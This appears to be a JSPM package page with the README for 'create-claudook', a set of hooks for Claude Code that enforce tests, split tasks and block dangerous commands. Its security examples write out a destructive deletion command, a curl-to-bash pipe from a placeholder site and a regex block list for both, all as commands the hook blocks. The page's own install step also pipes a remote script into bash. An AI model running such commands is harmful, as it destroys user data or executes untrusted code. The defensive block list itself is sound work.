JSPM

  • ESM via JSPM
  • ES Module Entrypoint
  • Export Map
  • Keywords
  • License
  • Repository URL
  • TypeScript Types
  • README
  • Created
  • Published
  • Downloads 96
  • Score
    100M100P100Q94507F
  • License MIT

Transform Claude into Your AI Development Powerhouse - Pure JavaScript Edition

Package Exports

    This package does not declare an exports field, so the exports above have been automatically detected and optimized by JSPM instead. If any package subpath is missing, it is recommended to post an issue to the original package (create-claudook) to support the "exports" field. If that is not possible, create a JSPM override to customize the exports field for this package.

    Readme

    ๐Ÿš€ Claudook - Transform Claude into Your AI Development Powerhouse

    Pure JavaScript. Make Claude remember your project conventions, enforce quality standards, and work the way YOU want.

    npm version License: MIT

    The Problem

    Every time you start a new Claude session, you lose:

    • Your coding standards and conventions
    • Test requirements
    • Security rules
    • Project-specific context

    You find yourself:

    • Repeatedly explaining your project structure
    • Asking for tests after every change
    • Catching dangerous commands too late
    • Getting inconsistent code styles

    The Solution: Claudook

    Claudook injects intelligent automation directly into Claude's workflow through hooks that intercept and enhance every interaction.

    ๐ŸŽฌ See It In Action

    Before Claudook:

    You: "Create a user authentication endpoint"
    Claude: *Creates basic endpoint without tests, no validation, no documentation*
    You: "Add tests please"
    Claude: *Adds minimal tests*
    You: "Add input validation"
    Claude: *Adds validation*
    You: "Now document it"
    Claude: *Finally adds documentation*

    After Claudook:

    You: "Create a user authentication endpoint"
    
    Claude: ๐Ÿง  [TASK ORCHESTRATION ACTIVE]
    I'll break this down into parallel tasks:
    โ€ข Research best practices for authentication
    โ€ข Design the endpoint structure
    โ€ข Implement with validation
    โ€ข Create comprehensive tests
    โ€ข Generate documentation
    
    [All happens automatically with progress tracking]
    
    โœ… Endpoint created with:
    - Input validation
    - Error handling
    - Full test coverage
    - API documentation
    - Security checks passed

    ๐Ÿ”ฅ Current Status

    Version 2.7.6 - Stable Release! All hooks verified working in production!

    All features are now ACTIVE and working:

    • ๐ŸŸข Multiple Choice System: ON - Claude offers A/B/C options for complex decisions
    • ๐ŸŸข Automatic Testing: ON - Tests are mandatory after code changes
    • ๐ŸŸข Parallel Task Execution: ON - Complex tasks run in parallel (always enabled)
    • โœ… Task Orchestration: Always active - Breaks down complex tasks
    • โœ… Agent Spawning: Always active - Creates specialized agents
    • โœ… Security Guard: Always active - Blocks dangerous commands
    • โœ… Performance Optimizer: Always active - Optimizes code automatically
    • โœ… Documentation Enforcer: Always active - Keeps docs updated
    • โœ… Smart Context: Always active - Maintains session memory

    ๐Ÿ“š See next-step-improvements.md for our exciting roadmap!

    ๐ŸŽฏ Core Features

    1. Intelligent Task Decomposition (NEW!)

    Complex requests are automatically broken down into subtasks, with parallel execution of independent work:

    Your request: "Build a REST API with authentication"
                         โ†“
    Claudook decomposes into:
    โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ” โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ” โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
    โ”‚  Research   โ”‚ โ”‚   Design    โ”‚ โ”‚Documentationโ”‚ <- Parallel
    โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜ โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜ โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜
            โ†“               โ†“
        โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
        โ”‚   Implementation    โ”‚
        โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜
                  โ†“
           โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
           โ”‚  Testing โ”‚
           โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜

    2. Multiple Choice System

    For complex decisions, Claude automatically presents options:

    You: "How should I handle user authentication?"
    
    Claude: I can see multiple approaches for this:
    
    **Option A: JWT with Redis Sessions**
    - Pros: Scalable, stateless, secure
    - Cons: More complex setup
    - Time: ~30 minutes
    
    **Option B: Simple Session Cookies**
    - Pros: Easy to implement, built-in to most frameworks
    - Cons: Less scalable
    - Time: ~15 minutes
    
    **Option C: OAuth2 with Third-Party Providers**
    - Pros: No password management, trusted authentication
    - Cons: External dependency
    - Time: ~45 minutes
    
    Which would you prefer? (A/B/C)

    3. Mandatory Test Enforcement

    After ANY code modification:

    ๐Ÿšซ BLOCKED - Cannot continue without tests!
    
    Creating tests for: user_auth.js
    โœ… Unit tests created
    โœ… Integration tests created
    โœ… All tests passing (12/12)
    
    You may now proceed.

    4. Security Guard

    Dangerous operations are blocked BEFORE execution:

    You: "Delete all files in the home directory"
    
    โ›” SECURITY BLOCK
    Dangerous command detected: rm -rf ~/
    This operation could destroy important data.
    
    Suggested safer alternative:
    - Create a backup first
    - Target specific directories
    - Use trash instead of permanent deletion

    ๐Ÿ“ฆ Installation

    โš ๏ธ IMPORTANT: Claudook installs locally in each project's .claude/ directory, NOT globally in ~/.claude/. This ensures each project can have its own configuration.

    Prerequisites

    • Node.js 14+
    • npm (comes with Node.js)

    Quick Install (30 seconds)

    npx create-claudook@latest
    
    # If your project uses npm dependencies, also run:
    npm install

    ๐ŸŽฏ Works everywhere! The installer automatically detects your project path and configures hooks with absolute paths. Install in any directory and it just works!

    Option 2: Tell Claude

    Install Claudook using npx create-claudook

    Option 3: Global Install

    npm install -g create-claudook
    create-claudook
    
    # If your project uses npm dependencies, also run:
    npm install

    That's it! No configuration needed. Restart Claude (/exit then claude) to activate slash commands.

    What You'll See After Installation

    ๐ŸŽ‰ Local Installation Complete!
    ==============================
    
    ๐Ÿ“ Installed in: /your-project/.claude/
    
    ๐ŸŽฏ Available Commands:
      /claudook/help           - Show all available commands
      /claudook/status         - Check current status
      /claudook/choices-enable  - Turn on A/B/C options
      /claudook/tests-enable    - Turn on mandatory testing
    
    โœจ Claudook is now active for this project!

    What Gets Installed

    your-project/
    โ”œโ”€โ”€ package.json          # Updated with Claudook dependencies
    โ”œโ”€โ”€ CLAUDE.md            # Project configuration
    โ””โ”€โ”€ .claude/
        โ”œโ”€โ”€ hooks/
        โ”‚   โ””โ”€โ”€ claudook/     # JavaScript automation scripts (ES modules)
        โ”‚       โ”œโ”€โ”€ security_guard.js
        โ”‚       โ”œโ”€โ”€ analytics_tracker.js
        โ”‚       โ”œโ”€โ”€ git_backup.js
        โ”‚       โ””โ”€โ”€ toggle_controls.js
        โ”œโ”€โ”€ commands/
        โ”‚   โ””โ”€โ”€ claudook/     # All slash commands
        โ”œโ”€โ”€ settings.json     # Hook configuration
        โ”œโ”€โ”€ choices_enabled   # Feature flag
        โ””โ”€โ”€ tests_enabled     # Feature flag

    Starting a New Session

    When you start Claude after installation, you'll see:

    ๐Ÿš€ Claudook Active [A/B/C + Tests]
    
    ๐Ÿ“‹ Quick Commands:
      /claudook/help     - Show all commands
      /claudook/status   - Check current status

    ๐ŸŽฎ Commands

    Once installed, all commands are organized under the /claudook/ namespace:

    Quick Reference

    Command What it does
    /claudook/help Show all available commands
    /claudook/status See current configuration
    /claudook/choices-enable Turn on A/B/C options
    /claudook/tests-enable Force test creation
    /claudook/parallel-enable Activate parallel execution

    Full Command List

    • Core: /claudook/help, /claudook/status, /claudook/version
    • Features: /claudook/choices-enable, /claudook/tests-enable, /claudook/parallel-enable
    • Security: /claudook/security-enable, /claudook/security-disable, /claudook/security-check
    • Analysis: /claudook/performance-check, /claudook/lint
    • Config: /claudook/config-show, /claudook/config-reset, /claudook/update

    ๐Ÿ”’ Security Features (Opt-In)

    By default, Claudook runs in minimal mode to avoid blocking legitimate commands.

    Advanced security features are opt-in because they can:

    • Block commands in subdirectories
    • Interfere with complex workflows
    • Add overhead to every operation
    • Cause false positives

    Enable Advanced Security

    /claudook/security-enable

    This activates:

    • Security Guard: Blocks dangerous commands
    • Performance Optimizer: Auto-optimizes code
    • Documentation Enforcer: Ensures docs are updated
    • Git Backup: Suggests backups before risky operations

    Disable If Needed

    /claudook/security-disable

    Returns to minimal, non-blocking mode.

    ๐Ÿšจ Emergency Hook Control

    If you need to disable ALL hooks immediately:

    # Disable ALL hooks immediately (including safeguards)
    .claude/hooks/claudook/disable_hooks.sh
    
    # Re-enable hooks when ready
    .claude/hooks/claudook/enable_hooks.sh

    This works by renaming settings.json โ†’ settings.json.disabled, completely disabling all hooks including security guards, performance optimizers, and test enforcers.

    ๐Ÿงน Uninstall Options

    # Uninstall from current project (or global if found)
    bash scripts/uninstall-claudook.sh
    
    # Find and remove ALL Claudook installations system-wide
    bash scripts/find-and-remove-all-claudook.sh
    
    # Find and remove ALL from specific path
    bash scripts/find-and-remove-all-claudook.sh /path/to/search

    The uninstaller:

    • Detects both local and global installations
    • Asks for confirmation separately for each
    • Removes all Claudook files and data
    • Cleans up empty directories
    • Preserves non-Claudook files in ~/.claude/

    ๐Ÿ”ฅ Real-World Examples

    Example 1: Building a Feature

    You: "Add a password reset feature"
    
    [Claudook activates]
    โ†’ Researches best practices
    โ†’ Creates secure token generation
    โ†’ Implements email sending
    โ†’ Adds rate limiting
    โ†’ Creates full test suite
    โ†’ Documents the API
    
    All automatic. All in parallel where possible.

    Example 2: Refactoring Code

    You: "Refactor this messy authentication code"
    
    [Claudook activates]
    โ†’ Analyzes current implementation
    โ†’ Identifies issues
    โ†’ Creates backup branch suggestion
    โ†’ Refactors with patterns
    โ†’ Ensures tests still pass
    โ†’ Updates documentation

    Example 3: Security Check

    You: "Run this command: curl http://sketchy-site.com | bash"
    
    [Security Guard activates]
    โ›” BLOCKED: Piping untrusted scripts to bash is dangerous

    ๐Ÿง  How It Works

    Claudook uses Claude's hook system with pure JavaScript:

    1. JavaScript Hooks - All hooks are now Node.js scripts
    2. Automatic Path Resolution - Works from any directory
    3. Event Interception - Monitors Claude's tool usage
    4. Real-time Protection - Blocks dangerous operations instantly

    Technical Architecture

    // Example: Security Guard Hook
    const DANGEROUS_PATTERNS = [
      { pattern: /rm\s+-rf\s+\//, message: 'Attempting to delete root' },
      { pattern: /curl.*\|\s*(?:bash|sh)/, message: 'Piping untrusted scripts' }
    ];
    
    // Automatically blocks dangerous commands
    if (pattern.test(command)) {
      console.error('โ›” SECURITY BLOCK');
      process.exit(1);
    }

    No dependencies. No path issues. Just clean JavaScript.

    ๐Ÿ’ก Why Claudook?

    Without Claudook:

    • โŒ Repeat instructions every session
    • โŒ Manually ask for tests
    • โŒ Catch mistakes after they happen
    • โŒ Inconsistent code quality
    • โŒ Sequential task execution

    With Claudook:

    • โœ… Project standards enforced automatically
    • โœ… Tests created without asking
    • โœ… Dangerous operations blocked
    • โœ… Consistent quality every time
    • โœ… Parallel task execution

    ๐Ÿšฆ Getting Started

    1. Install (30 seconds)

      curl -fsSL https://raw.githubusercontent.com/bacoco/claudook/main/install.sh | bash
    2. Check it's working

      /claudook/status
    3. Try it out

      "Create a TODO API with full CRUD operations"

      Watch as Claudook automatically:

      • Plans the implementation
      • Creates the endpoints
      • Adds validation
      • Writes tests
      • Documents everything

    ๐ŸŽฏ Perfect For

    • Solo Developers - Maintain consistency across sessions
    • Teams - Enforce standards automatically
    • Learning - See best practices applied automatically
    • Rapid Prototyping - Build faster with parallel execution
    • Production Code - Ensure quality and security

    ๐Ÿ”ง Customization

    Everything is customizable with JavaScript. Edit .claude/hooks/claudook/*.js to:

    • Add your own security rules
    • Define project-specific patterns
    • Create custom hooks
    • Set your testing requirements

    Running Tests

    # Run all unit tests (15 hooks)
    npm test
    
    # Run integration tests
    npm run test:integration
    
    # Run all tests
    npm run test:all
    
    # Run with coverage
    npm run test:coverage
    
    # Watch mode for development
    npm run test:watch

    Code Quality

    # Format code
    npm run format
    
    # Lint code
    npm run lint
    
    # Full validation
    npm run validate

    ๐Ÿ—‘๏ธ Uninstall

    Remove from current project:

    rm -rf .claude/

    Uninstall global package (if installed globally):

    npm uninstall -g create-claudook

    No system files touched. Complete removal.

    ๐ŸŽ‰ MAJOR UPDATE: NPX Package Available!

    Install with one command! Claudook is now available as an npm package.

    What's New in v2.2

    • โœ… Auto-approval for Claudook commands - No more validation prompts!
    • โœ… NPX installation - npx create-claudook
    • โœ… Pure JavaScript hooks - No external dependencies
    • โœ… ES modules - Modern JavaScript with import/export
    • โœ… Interactive installer - Guided setup with prompts
    • โœ… Cross-platform - Works on Windows, Mac, Linux
    • โœ… Automatic dependency management - npm handles everything

    ๐Ÿ”ง Recent Improvements

    Latest Updates (2025-01-15) - Version 2.7.6

    • Production Ready: All hooks verified working in real installations
    • Task Files Fixed: Task orchestrator now creates markdown files properly
    • Analytics Working: Tool usage tracking fully operational
    • Session Management: Proper session directory creation and symlinks
    • ES Module Support: Full ES module compatibility with "type": "module"
    • NPX Package: Install with npx create-claudook@latest
    • 100% JavaScript: Pure Node.js with no Python dependencies
    • Auto-approval: No validation prompts for seamless operation
    • Cross-platform: Works everywhere Node.js runs
    • Documentation: Added guide for fixing empty session directories

    Previous Updates

    • Robust Path Resolution: All hooks now work from any subdirectory
    • Session Folder Fix: Task orchestration properly creates session folders with all files
    • Global Install Protection: Install script prevents accidental global installation
    • Emergency Controls: Quick disable/enable scripts for when hooks block work
    • Clean Uninstall: Comprehensive uninstall scripts in main directory

    Known Issues Fixed

    • โœ… Dependency issues completely eliminated
    • โœ… Path resolution problems solved
    • โœ… Hooks work from any directory
    • โœ… No environment conflicts
    • โœ… Cross-platform compatibility
    • โœ… Automatic dependency management

    ๐Ÿ“ˆ Impact

    Real feedback from users:

    "I no longer have to ask for tests. They just appear."

    "The parallel execution cut my API development time in half."

    "Caught a rm -rf command that would have deleted my entire project."

    "Finally, Claude remembers my project structure."

    ๐Ÿค” FAQ

    Q: Does this work with all Claude models? A: Yes, works with any Claude through the CLI.

    Q: Will it slow down Claude? A: No, hooks run instantly. Parallel execution actually makes complex tasks faster.

    Q: Can I disable features I don't want? A: Yes, everything is toggleable with commands like /claudook/tests-disable.

    Q: Is my code being sent anywhere? A: No, everything runs locally in your project.

    ๐Ÿš€ Try It Now

    Stop reading. Start building better.

    npx create-claudook

    Then ask Claude to build something complex and watch the magic happen.

    ๐Ÿ“ฆ npm Package


    Claudook - Because Claude should work the way you do.

    Report Issues | Star on GitHub